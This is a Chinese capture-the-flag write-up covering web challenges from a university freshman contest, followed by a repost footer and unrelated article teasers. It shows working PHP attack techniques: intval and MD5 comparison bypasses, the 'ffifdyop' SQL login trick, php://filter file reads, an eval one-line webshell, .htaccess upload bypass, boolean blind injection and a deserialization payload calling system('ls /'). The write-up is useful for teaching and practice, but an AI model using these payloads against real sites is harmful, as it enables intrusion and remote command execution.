SWPU NSS新生赛

😋大家好,我是YAy_17,是一枚爱好网安的小白,正在自学ing。

本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

最近除了上课,就是准备取证去了;参加了西南石油的新生赛,感觉还是挺简单的;

funny_web

首先入口界面如下:

随便输入先尝试一下嘛,账号:admin,密码:admin;(之后提示我们用户名是实验室名)

(其实这里的账号和密码是直接找群里的群主要到的!)账号为NSS;密码为2122693401;

之后便直接登录进来看到如下的php代码

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {$num = $_GET['num'];if ($num != '12345') {if (intval($num) == '12345') {echo $FLAG;}} else {echo "这为何相等又不相等";}
} 

显然这就是intval函数的漏洞,intval函数有个特性:”直到赶上数字或正负符号才开始作转换,再遇到非数字或字符串结束时()结束转换”;那么我们输入的如果是12345a的话,当遇到a的时候便停止了转换,结果便得到了12345;此时与后面的12345进行了弱类型的判断,成立便输出了flag;

奇妙的MD5

拿到题目就是这样的,其实看到这里再结合题目的名称,就想到了“奇妙的字符串”;先尝试随便输入字符,发现一直都是这个页面;抓包看一下;同时抓响应包,在响应包中发现了hint!

确实这里执行了查询语句,但是在通过where的时候,由于条件不匹配,导致什么信息都没有;

需要password = md5($pass,true)为真的时候,才会执行select * from 'admin'

那么md5函数会将我们的输入,经过加密,然后再转换为16字符的二进制;有一个“奇妙的字符串”:ffifdyop经过md5加密变成276F722736C95D99E921722CF9ED621C;之后转换为16字符的二进制又变成了'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c ,这串字符的前面几位刚好是' or '6

select * form admin where password =' or '6....

在mysql内,用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的;比如password=' or '1xxxx',那么就相当于password=' or 1,所以返回值就是true;故这里的payload为ffifdyop

之后便跳转来到了这里,先看源码嘛!

还是md5,这里有两个参数x和y;x不可以等于y,同时x、y在经过md5加密之后相等;

两种方法嘛!

  1. 由于md5不能加密数组,在加密数组的时候会返回NULL 
  2. 传入两个不相同的值,经过md5加密之后得到0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,php在进行科学计算法的时候才会将它转化为0。经过等号的判断之后返回值为true

所以传数组!数组方便,第二种大家可以去网上找,自己之前也整理过;

where_am_i

什么东西是11位啊?-------->手机号???

随便输入一个手机号,弹窗“try again”;这个题有点像MISC了;网页种发现了一张xxx.古迹酒店;直接高德地图找,会找到他的电话,输入即可!

ez_ez_php

上来就是直接代码审计了;

 <?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php 

条件:我们通过GET方式传入的file参数的前三位包含着php;

那么什么语句包含着php....(php://filter??)之后尝试去使用php伪协议;

file=php://filter/read=convert.base64-encode/resource=flag.php

得到了一串经过base64编码的字符串,尝试通过base64解码;

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");echo   "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";

fake flag;提示:real_flag_is_in_'flag'

那么就依然使用php伪协议去读flag!经过base64解码之后便可以拿到真正的flag;

webdog1__start

“年轻的webdog哦,如果连这关都创不过还是去卷pwn和re吧”

先看源码;得到如下:

​ 

也就是说原值经过弱类型判断依然是等于md5加密之后的值;我们便可以找0e开头的数值,经过md5加密之后得到的值依然是0e开头即可;

0e2159620170e291242476940776845150308577824 

之后来到如下的界面:

这里我就一个个点,多数都是404;search这里的话通过抓包看一下;

​ 

这里便找到了hint,提示我们去fl4g.php看一下;

​ 

还是抓包看一下响应数据包,依然还是存在着hint,套娃;

去对应的文件看一下,又开始了代码审计:


<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){$get=$_GET['get'];if(!strstr($get," ")){$get = str_ireplace("flag", " ", $get);if (strlen($get)>18){die("This is too long.");}else{eval($get);} }else {die("nonono"); }}
?> 

 经过get传参get,get中不可以存在着空格,并且如果get中存在着flag,那么会将flag替换为空格;

get的值的长度还不能超过18;尝试get传入一句话小马;eval($_post[1]);

最终形成eval(eval($_post[1]););为什么这里不能直接传入$_POST[1] ,是因为要激活一下eval函数,而我们直接传入$_POST[1],是不会出现结果的;这里我还不知道为什么是这样的?本地测试是需要加上eval的!

之后就是直接连接蚁剑;

Ez_upload

文件上传,先尝试上传正常的文件,这里先上传了一个jpg文件 

成功上传;尝试上传php文件;将之前的jpg文件接着上传,修改了其中的内容和后缀名,没有修改MIME信息;其实这里还会校验MIME信息的!

提示文件的后缀名中有ph,那么相应的也就过滤了pht、phtml等格式;这里尝试上传一下.htaccess文件,发现是可以上传的;

之后便是上传jpg的文件,但是在这里遇到了过滤,当我们的文件中存在<?php、<?=都会提示“你上传的什么鬼!”;使用<script language="php"></script>是可以上传的! 

之后便可以直接连蚁剑啦!但是我在连接蚁剑之后,在flag文件中没有内容;可能是flag文件中就是没有文件;是在phpinfo中找到的flag; 

numgame

题目如下:

无法查看源代码,dirsearch扫描文件,也没有扫描到敏感的文件;只能抓包,同时去抓一下响应的数据包,发现了有个js的文件,尝试访问该文件,发现该文件的最后一行是这样的:

 发现括号里面就是base64嘛!然后尝试解码看一下啊,又是另一个php的文件,尝试访问:

 <?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{static function ctf(){include("./hint2.php");}
}
if(isset($_GET['p'])){if (preg_match("/n|c/m",$_GET['p'], $matches))die("no");call_user_func($_GET['p']);
}else{highlight_file(__FILE__);
} 

发现有一个nss类,里面存在着一个静态的方法,通过GET方式进行传参,传入的参数又经过了正则的匹配,但是正则并没有大小写过滤,所以使用的就是大小写的绕过;

payload:        p=Nss::Ctf        又提示不是nss这个类是不是nss2呢 换一下类名即可;

ez_ez_php(revenge)

 <?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php 

php://filter伪协议直接读flag.php,之后又告诉你是/flag文件;

ez_rce

页面如上所示,直接上dirsearch了, 扫描到了robots.txt文件,尝试访问;

访问之后,提示/NSS/index.php/;继续访问出现了熟悉的界面:

thinkphp5,RCE!当然题目也已经提示我们了,这里直接就网上百度payload即可,我这里就直接用了工具;之后就是直接进行漏洞利用即可了,注意的是flag并不在根目录下面的flag文件中,flag文件中是空的,真正的flag实在/nss中,害我找了半天(眼睛属实太大了,没看见)

ez_sql

相对安全的方式传参,那就是post,参数是nss;先尝试传参nss=1看看什么情况

 看到的是如下的界面,这两个flag都是假的,不用尝试,单引号的闭合方式,之后就是发现过滤了and、or、union等关键字,都是可以通过双写进行绕过的!之后就是通过基于post方式的布尔盲注脚本来进行注入了,最后爆出来的列名存在id,Secr3t,flll444g,但是在flll444g中爆出来的flag又是假的,真正的flag存在于Secr3t列中;

1z_unserialize

<?php 
class lyh{public $url = 'NSSCTF.com';public $lt;public $lly;     function  __destruct(){$a = $this->lt;$a($this->lly);}   
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?> 

反序列化漏洞点在$a($this->lly);相当于可以命令执行了;直接构造

<?php 
class lyh{public $url = 'NSSCTF.com';public $lt = 'system';public $lly = 'ls /';      
}
$cc = new lyh();
echo(serialize($cc));
?> 

将最终的序列化之后的结果直接传入到nss中即可;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/217372.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

万界星空科技AI低代码云MES系统

在企业生产管理过程中&#xff0c;从市场、生产现场到产品交付&#xff0c;生产制造行业都面临着诸多挑战&#xff0c;比如&#xff1a; 订单排产难度大&#xff1a;订单混乱&#xff0c;常漏排产、错排产&#xff1b;产能不明晰&#xff0c;无法承诺交期&#xff0c;常丢单&a…

流程控制之条件判断

目录 流程控制之条件判断 2.1.if语句语法 2.1.1单分支结构 2.1.2双分支结构 2.1.3多分支结构 2.2.案例 例一: 例2: 例3: 例4: 例5: 例6: 例7: 例8: 例9: 2.3.case多条件判断 2.3.1.格式 2.3.2.执行过程 例10: 流程控制之条件判断 2.1.if语句语法 2.1.1单分…

ArcGIS for Android开发引入arcgis100.15.2

最后再点击同步即可&#xff01;&#xff01;&#xff01;

oracle aq java jms使用(数据类型为XMLTYPE)

记录一次冷门技术oracle aq的使用 版本 oracle 11g 创建用户 -- 创建用户 create user testaq identified by 123456; grant connect, resource to testaq;-- 创建aq所需要的权限 grant execute on dbms_aq to testaq; grant execute on dbms_aqadm to testaq; begindbms_a…

基于Spring Boot、Mybatis、Redis和Layui的企业电子招投标系统源码实现与立项流程

招投标管理系统是一款适用于招标代理、政府采购、企业采购和工程交易等领域的企业级应用平台。该平台以项目为主线&#xff0c;从项目立项到项目归档&#xff0c;实现了全流程的高效沟通和协作。通过该平台&#xff0c;用户可以实时共享项目数据信息&#xff0c;实现规范化管理…

【数据结构入门精讲 | 第一篇】打开数据结构之门

数据结构与算法是计算机科学中的核心概念&#xff0c;也与现实生活如算法岗息息相关。鉴于全网数据结构文章良莠不齐且集成度不高&#xff0c;故开设本专栏&#xff0c;为初学者提供指引。 目录 基本概念数据结构为何面世算法基本数据类型抽象数据类型使用抽象数据类型的好处 数…

微信小程序:模态框(弹窗)的实现

效果 wxml <!--新增&#xff08;点击按钮&#xff09;--> <image classimg src"{{add}}" bindtapadd_mode></image> <!-- 弹窗 --> <view class"modal" wx:if"{{showModal}}"><view class"modal-conten…

消息队列(MQ)

对于 MQ 来说&#xff0c;不管是 RocketMQ、Kafka 还是其他消息队列&#xff0c;它们的本质都是&#xff1a;一发一存一消费。下面我们以这个本质作为根&#xff0c;一起由浅入深地聊聊 MQ。 01 从 MQ 的本质说起 将 MQ 掰开了揉碎了来看&#xff0c;都是「一发一存一消费」&…

java实现冒泡排序及其动图演示

冒泡排序是一种简单的排序算法&#xff0c;它重复地遍历要排序的数列&#xff0c;一次比较两个元素&#xff0c;如果它们的顺序错误就把它们交换过来。重复这个过程直到整个数列都是按照从小到大的顺序排列。 具体步骤如下&#xff1a; 比较相邻的两个元素&#xff0c;如果前…

世界5G大会

会议名称:世界 5G 大会 时间:2023 年 12 月 5 日-12 月 8 日 地点:河南郑州 一、会议简介 世界 5G 大会,是由国务院批准,国家发展改革委、科技部、工 信部与地方政府共同主办,未来移动通信论坛联合属地主管厅局联合 承办,邀请全球友好伙伴共同打造的全球首个 5G 领域…

Spring Boot 3 整合 WebSocket (STOMP协议) 和 Vue 3 实现实时通信

&#x1f680; 作者主页&#xff1a; 有来技术 &#x1f525; 开源项目&#xff1a; youlai-mall &#x1f343; vue3-element-admin &#x1f343; youlai-boot &#x1f33a; 仓库主页&#xff1a; Gitee &#x1f4ab; Github &#x1f4ab; GitCode &#x1f496; 欢迎点赞…

家政服务小程序预约上门,让服务更便捷

随着人们生活节奏的加快&#xff0c;家政服务行业越来越受到人们的欢迎。为了满足市场需求&#xff0c;提高服务质量&#xff0c;家政公司需要开发一款预约上门的家政服务小程序。本文将详细介绍如何制作一个预约上门的家政服务小程序。 一、登录乔拓云网后台 首先&#xff0c…

基于vue实现的疫情数据可视化分析及预测系统-计算机毕业设计推荐django

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 3 2.1 nodejs简介 4 2.2 express框架介绍 6 2.4 MySQL数据库 4 第3章 系统分析 5 3.1 需求分析 5 3.2 系统可行性分析 5 3.2.1技术可行性&#xff1a;…

Appium自动化常用adb操作封装

一、前置说明 在Appium自动化中&#xff0c;经常需要使用adb命令与设备进行交互&#xff0c;所以有必要把常用的adb操作封装成一个类 二、代码实现 import os import platform import re import subprocessfrom common import path from common.exception import AndroidSDK…

语音识别功能测试:90%问题,可以通过技术解决

现在市面上的智能电子产品千千万&#xff0c;为了达到人们使用更加方便的目的&#xff0c;很多智能产品都开发了语音识别功能&#xff0c;用来语音唤醒进行交互&#xff1b;另外&#xff0c;各大公司也开发出来了各种智能语音机器人&#xff0c;比如小米公司的“小爱”&#xf…

DHCP—动态主机配置协议

动态主机配置协议DHCP&#xff08;Dynamic Host Configuration Protocol&#xff0c;动态主机配置协议&#xff09;是RFC 1541&#xff08;已被RFC 2131取代&#xff09;定义的标准协议&#xff0c;该协议允许服务器向客户端动态分配IP地址和配置信息。 DHCP协议支持C/S&#x…

外汇天眼:Coinbase国际交易所将启动现货市场

Coinbase宣布了Coinbase国际交易所扩张的下一阶段——退出符合条件客户的非美国现货市场。 这一最新发展旨在满足Coinbase全球用户群体的独特需求和需求&#xff0c;同时强化其扩大国际访问可信产品和服务的战略使命。 Coinbase国际交易所现货交易的推出和扩展将分阶段进行。1…

vite+vue3+electron搭建项目

编辑器使用vscode&#xff0c;打开一个空文件夹 第一步 初始化vite项目 初始化vite项目&#xff0c;命令 npm init vite 第二步 下载依赖 进入新建的项目&#xff0c;下载依赖&#xff0c;命令 cd vite-projec npm i第三步 使用cnpm下载 electron依赖 新建一个终端&#…

05 python数据容器

5.1 数据容器认识 5.2 python列表 5.2.1 列表的定义 演示数据容器之&#xff1a;list 语法&#xff1a;[元素&#xff0c;元素&#xff0c;....] #定义一个列表List List [itheima,uityu,gsdfg] List1 [itheima,6666,True] print(List) print(List1) print(type(List)) pr…

综合实验:期末

实验要求&#xff1a; 一&#xff0e;物理连接 实验分2个组进行&#xff0c;使用思科模拟软件。每个同学模拟两个组。每个组选用一台路由器、一台三层交换机和一台二层交换机。要求按下图拓扑进行连接。如下图&#xff1a;最上端设备为核心交换机&#xff0c;按老师要求配置&a…